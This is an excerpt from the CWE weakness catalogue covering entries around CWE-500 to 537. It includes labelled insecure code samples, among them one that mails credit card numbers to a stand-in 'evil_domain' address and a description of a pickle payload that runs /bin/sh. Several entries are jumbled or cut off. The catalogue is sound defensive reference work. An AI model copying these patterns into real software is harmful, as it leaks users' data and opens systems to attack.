<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

### Extended Description

Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	▼	493	Critical Public Variable Without Final Modifier	1070

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

### Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data <i>The object could potentially be tampered with.</i>	
Confidentiality	Read Application Data <i>The object could potentially allow the object to be read.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

#### Phase: Implementation

Make any static fields private and constant. A constant field is denoted by the keyword 'const' in C/C++ and 'final' in Java

## Demonstrative Examples

### Example 1:

The following examples use of a public static String variable to contain the name of a property/ configuration file for the application.

Example Language: C++

(bad)

```
class SomeAppClass {
    public:
        static string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

Example Language: Java

(bad)

```
public class SomeAppClass {
    public static String appPropertiesFile = "app/Application.properties";
    ...
}
```

Having a public static variable that is not marked final (constant) may allow the variable to be altered in a way not intended by the application. In this example the String variable can be modified to indicate a different or nonexistent properties file which could cause the application to crash or caused unexpected behavior.

Example Language: C++

(good)

```
class SomeAppClass {
    public:
        static const string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

Example Language: Java

(good)

```
public class SomeAppClass {
    public static final String appPropertiesFile = "app/Application.properties";
    ...
}
```

## CWE-501: Trust Boundary Violation

<b>Weakness ID</b> : 501	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product mixes trusted and untrusted data in the same data structure or structured message.

### Extended Description

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	265	Privilege Issues	1980

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Demonstrative Examples

#### Example 1:

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

Example Language: Java

(bad)

```
username = request.getParameter("username");
if (session.getAttribute(ATTR_USR) == null) {
    session.setAttribute(ATTR_USR, username);
}
```

Example Language: C#

(bad)

```
username = request.Item("username");
if (session.Item(ATTR_USR) == null) {
    session.Add(ATTR_USR, username);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

## CWE-502: Deserialization of Untrusted Data

Weakness ID : 502

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

### Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

**Language** : Java (*Prevalence = Undetermined*)

**Language** : Ruby (*Prevalence = Undetermined*)

**Language** : PHP (*Prevalence = Undetermined*)

**Language** : Python (*Prevalence = Undetermined*)

**Language** : JavaScript (*Prevalence = Undetermined*)

## Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

## Alternate Terms

**Marshaling, Unmarshaling** : Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

**Pickling, Unpickling** : In Python, the "pickle" functionality is used to perform serialization and deserialization.

**PHP Object Injection** : Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.

## Likelihood Of Exploit

Medium

**Common Consequences**

Scope	Impact	Likelihood
Integrity	Modify Application Data Unexpected State  <i>Attackers can modify unexpected objects or data that was assumed to be safe from modification.</i>	
Availability	DoS: Resource Consumption (CPU)  <i>If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.</i>	
Other	Varies by Context  <i>The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.</i>	

**Potential Mitigations****Phase: Architecture and Design****Phase: Implementation**

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

**Phase: Implementation**

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

**Phase: Implementation**

Explicitly define a final object() to prevent deserialization.

**Phase: Architecture and Design****Phase: Implementation**

Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

**Phase: Implementation**

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

**Demonstrative Examples****Example 1:**

This code snippet deserializes an object from a file and uses it as a UI button:

*Example Language: Java*

*(bad)*

```
try {
    File file = new File("object.obj");
```

```
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.JButton) in.readObject();
in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

Example Language: Java

(good)

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {
    throw new java.io.IOException("Cannot be deserialized"); }
}
```

### Example 2:

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

Example Language: Python

(bad)

```
try {
    class ExampleProtocol(protocol.Protocol):
    def dataReceived(self, data):
    # Code that would be here would parse the incoming data
    # After receiving headers, call confirmAuth() to authenticate
    def confirmAuth(self, headers):
    try:
    token = cPickle.loads(base64.b64decode(headers['AuthToken']))
    if not check_hmac(token['signature'], token['data'], getSecretKey()):
    raise AuthFail
    self.secure_data = token['data']
    except:
    raise AuthFail
}
```

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance, the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

## CWE-506: Embedded Malicious Code

<b>Weakness ID</b> : 506	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The application contains code that appears to be malicious in nature.

### Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that

performs a useful service but exploits rights of the program's user in a way the user does not intend.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Potential Mitigations

### Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

## Demonstrative Examples

### Example 1:

In the example below, a malicious developer has injected code to send credit card numbers to the developer's own email address.

Example Language: Java

(bad)

```
boolean authorizeCard(String ccn) {
    // Authorize credit card.
    ...
    mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2051

### Notes

#### Other

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

#### Terminology

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code. Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case they presumably already possess the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

### Description

The software contains code that is designed to disrupt the legitimate operation of the software (or its environment) when a certain time passes, or when a certain logical condition is met.

### Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

## CWE-512: Spyware

<b>Weakness ID</b> : 512	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software collects personally identifiable information about a human user or the user's activities, but the software accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the software.

### Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to software that collects information or installs functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

## CWE-515: Covert Storage Channel

<b>Weakness ID</b> : 515	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

### Extended Description

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. 	<i>Covert storage channels may provide attackers with important information about the system in question.</i>	
Integrity Confidentiality	Read Application Data  <i>If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.</i>	

### Potential Mitigations

#### Phase: Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

### Demonstrative Examples

#### Example 1:

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

## CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID : 520

Status: Incomplete

Structure : Simple

Abstraction : Variant

### Description

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

### Extended Description

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks

within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-521: Weak Password Requirements

<b>Weakness ID</b> : 521	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

### Extended Description

Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. **Technology** : Technology-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>An attacker could easily guess user passwords and gain access user accounts.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

A product's design should require adherence to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes: Enforcement of a minimum and maximum length Restrictions against password reuse Restrictions against using common passwords Restrictions against using contextual string in the password (e.g., user id, app name) Depending on the threat model, the password policy may include several additional attributes. Complex passwords requiring mixed character sets (alpha, numeric, special, mixed case) Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down). Another disadvantage of this approach is that it often does not result in a significant increases in overall password complexity due to people's predictable usage of various symbols. Large Minimum Length (encouraging passphrases instead of passwords) Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords. Randomly Chosen Secrets Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used. A disadvantage of this approach is that the resulting

password or passphrase may be too difficult to memorize, encouraging them to be written down. Password Expiration Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations. Password expiration may be a good mitigating technique when long complex passwords are not desired. See NIST 800-63B <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf> Sections: 5.1.1, 10.2.1, and Appendix A for further information on password requirements.

#### Phase: Architecture and Design

Consider a second authentication factor beyond the password, which prevents the password from being a single point of failure. See CWE-308 for further information.

#### Phase: Implementation

Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.

## CWE-522: Insufficiently Protected Credentials

Weakness ID : 522

Status: Incomplete

Structure : Simple

**Abstraction** : Class

**Description**

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>An attacker could gain access to user accounts and access sensitive data used by the user accounts.</i>	

**Potential Mitigations**

**Phase: Architecture and Design**

Use an appropriate security mechanism to protect the credentials.

**Phase: Architecture and Design**

Make appropriate use of cryptography to protect the credentials.

**Phase: Implementation**

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

**Demonstrative Examples**

**Example 1:**

This code changes a user's password.

*Example Language: PHP*

*(bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
```

```
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
    SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

### Example 2:

The following code reads a password from a properties file and uses the password to connect to a database.

*Example Language: Java*

*(bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

### Example 3:

The following code reads a password from the registry and uses the password to create a new network credential.

*Example Language: Java*

*(bad)*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

### Example 4:

Both of these examples verify a password by comparing it to a stored compressed version.

*Example Language: C*

*(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

*Example Language: Java*

*(bad)*

```
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
}
```

```
//Diagnostic Mode  
return(1);  
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

#### Example 5:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java

(bad)

```
# Java Web App ResourceBundle properties file  
...  
webapp.ldap.username=secretUsername  
webapp.ldap.password=secretPassword  
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET

(bad)

```
...  
<connectionStrings>  
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"  
    providerName="System.Data.Odbc" />  
</connectionStrings>  
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

## Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

## Potential Mitigations

**Phase: Operation**

**Phase: System Configuration**

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

## CWE-524: Use of Cache Containing Sensitive Information

**Weakness ID** : 524

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.

### Extended Description

Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations. A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources. If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.

## CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere

<b>Weakness ID</b> : 527	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

### Extended Description

Version control repositories such as CVS or git store version-specific metadata and other details within subdirectories. If these subdirectories are stored on a web server or added to an archive, then these could be used by an attacker. This information may include usernames, filenames, path root, IP addresses, and detailed "diff" data about how files have been changed - which could reveal source code snippets that were never intended to be made public.

## CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

<b>Weakness ID</b> : 529	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

### Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

**Weakness ID :** 530

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

A backup file is stored in a directory or archive that is made accessible to unauthorized actors.

### Extended Description

Often, older backup files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.</i>	

### Potential Mitigations

#### Phase: Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

## CWE-531: Inclusion of Sensitive Information in Test Code

<b>Weakness ID</b> : 531	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

### Relationships

## CWE-532: Insertion of Sensitive Information into Log File

<b>Weakness ID</b> : 532	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

## Extended Description

While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.

Different log files may be produced and stored for:

- Server log files (e.g. server.log). This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.
- log files that are used for debugging
-

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.</i>	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

**Phase: Distribution**

Remove debug log files before deploying the application into production.

**Phase: Operation**

Protect log files against unauthorized read/write.

**Phase: Implementation**

Adjust configurations appropriately when software is transitioned from a debug state to production.

**Demonstrative Examples****Example 1:**

In the following code snippet, a user's full name and credit card number are written to a log file.

*Example Language: Java*

*(bad)*

```
logger.info("Username: " + userme + ", CCN: " + ccn);
```

**Example 2:**

This code stores location information about the current user:

*Example Language: Java*

*(bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage("Sorry, this application has experienced an error.");
    AlertDialog alert = builder.create();
    alert.show();
    Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

**Example 3:**

In the example below, the method `getUserBankAccount` retrieves a bank account object from a database using the supplied username and account number to query the database. If an `SQLException` is raised when querying the database, an error message is created and output to a log file.

*Example Language: Java*

*(bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
                + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
```

```

        ResultSet queryResult = stmt.executeQuery(query);
        userAccount = (BankAccount)queryResult.getObject(accountNumber);
    }
} catch (SQLException ex) {
    String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
    Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}
}

```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

## CWE-535: Exposure of Information Through Shell Error Message

<b>Weakness ID</b> : 535	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

## CWE-536: Servlet Runtime Error Message Containing Sensitive Information

**Weakness ID** : 536

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	211	Externally-Generated Error Message Containing Sensitive Information	505

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information.</i>	

Scope	Impact	Likelihood
	It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.	

### Demonstrative Examples

#### Example 1:

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

Example Language: Java

(bad)

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String username = request.getParameter("username");
    // May cause unchecked NullPointerException.
    if (username.length() < 10) {

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		211	Externally-Generated Error Message Containing Sensitive Information	505

### Applicable Platforms

Language : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Implementation

Do not expose sensitive error information to the user.

## Demonstrative Examples

### Example 1:

In the following Java example the class `InputFileRead` enables an input file to be read using a `FileReader` object. In the constructor of this class a default input file path is set to some directory on the local file system and the method `setInputFile` must be called to set the name of the input file to be read in the default directory. The method `readInputFile` will create the `FileReader` object and will read the contents of the file. If the method `setInputFile` is not called prior to calling the method `readInputFile` then the `File` object will remain null when initializing the `FileReader` object. A Java `RuntimeException` will be raised, and an error message will be output to the user.

Example Language: Java

(bad)

```
public class InputFileRead {
    private File readFile = null;
    private FileReader reader = null;
    private String inputFilePath = null;
    private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";
    public InputFileRead() {
        inputFilePath = DEFAULT_FILE_PATH;
    }
    public void setInputFile(String inputFile) {
        /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
    }
    public void readInputFile() {
        try {
            reader = new FileReader(readFile);
            ...
        } catch (RuntimeException rex) {
            System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
            System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
        } catch (FileNotFoundException ex) {...}
    }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java `RuntimeException`s that are handled should not expose sensitive information to the user.

### Example 2:

In the example below, the `BankManagerLoginServlet` servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The `doPost` method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a `FailedLoginException` and output the failed login message to the error page of the service.

Example Language: Java

(bad)

```
public class BankManagerLoginServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
        IOException {
        try {
            // Get username and password from login page request
            String username = request.getParameter("username");
            String password = request.getParameter("password");
            // Authenticate user
        }
    }
}
```

```

BankManager bankMgr = new BankManager();
boolean isAuthentic = bankMgr.authenticateUser(username, password);
// If user is authenticated then go to successful login page
if (isAuthentic) {
    request.setAttribute("login", new String("Login Successful."));
    getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp").forward(request, response);
}
else {
    // Otherwise, raise failed login exception and output unsuccessful login message to error page
    throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
}
} catch (FailedLoginException ex) {
    // output failed login message to error page
    request.setAttribute("error", new String("Login Error"));
    request.setAttribute("message", ex.getMessage());
    getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
}
}

```

